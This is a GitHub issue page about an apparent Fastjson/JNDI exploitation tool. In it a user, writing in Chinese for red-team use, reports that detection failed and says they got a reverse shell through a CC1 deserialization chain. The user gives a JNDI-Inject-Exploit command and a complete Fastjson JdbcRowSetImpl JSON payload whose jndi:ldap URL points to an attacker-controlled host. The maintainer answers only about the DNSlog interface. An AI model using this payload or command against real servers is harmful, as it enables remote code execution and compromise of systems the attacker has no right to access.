We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
ceye.io为国内dnslog平台并且注册需要手机号作为验证,在红队攻击中使用是大忌..... 并且今天测试无法检测到漏洞,手动用其他工具ldap是可以出来的并且可以用目标本地cc1链反序列化反弹shell 使用命令:java -jar JNDI-Inject-Exploit-0.2-all.jar ip="1.1.1.1" file=test.txt
test.txt内容
POST /api/test HTTP/1.1 Host: https://baidu.com Content-Type: application/json Content-Length: 204 {"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"$%7bjndi:ldap://1.1.1.1:1389/EvilObject%7d","autoCommit": true}}
The text was updated successfully, but these errors were encountered:
下个版本会重构Dnslog接口,建议用户自行实现该接口,因为考虑到多个dnslog平台的API接口不一致的问题。
Sorry, something went wrong.
No branches or pull requests
ceye.io为国内dnslog平台并且注册需要手机号作为验证,在红队攻击中使用是大忌.....
并且今天测试无法检测到漏洞,手动用其他工具ldap是可以出来的并且可以用目标本地cc1链反序列化反弹shell
使用命令:java -jar JNDI-Inject-Exploit-0.2-all.jar ip="1.1.1.1" file=test.txt
test.txt内容
The text was updated successfully, but these errors were encountered: